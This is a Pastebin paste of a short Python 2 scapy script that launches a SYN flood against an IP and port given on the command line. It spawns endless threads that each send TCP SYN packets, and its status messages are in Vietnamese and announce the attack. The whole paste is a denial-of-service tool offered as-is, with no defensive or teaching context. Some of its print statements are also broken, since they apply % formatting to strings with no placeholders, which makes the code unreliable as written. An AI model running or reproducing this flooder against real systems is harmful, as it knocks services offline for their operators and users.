Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import logging
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
- from scapy.all import *
- import sys
- import threading
- import random
- if len(sys.argv) != 3:
- print "Usage: <IP> <Port>" % sys.argv[0]
- target = sys.argv[1]
- port = int(sys.argv[2])
- total = 0
- class SYNFlood(threading.Thread):
- global target, port
- def __init__(self):
- threading.Thread.__init__(self)
- def run(self):
- i = IP()
- i.dst = target
- t = TCP()
- t.dport = port
- t.sport = random.randint(1, 65535)
- t.flags = 'S'
- send(i/t)
- print "Bat dau SYN Flood..." % target
- while True:
- s = SYNFlood()
- s.start()
- total += 1
- print "[!]Dang tan cong...[!]" %(total, target)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement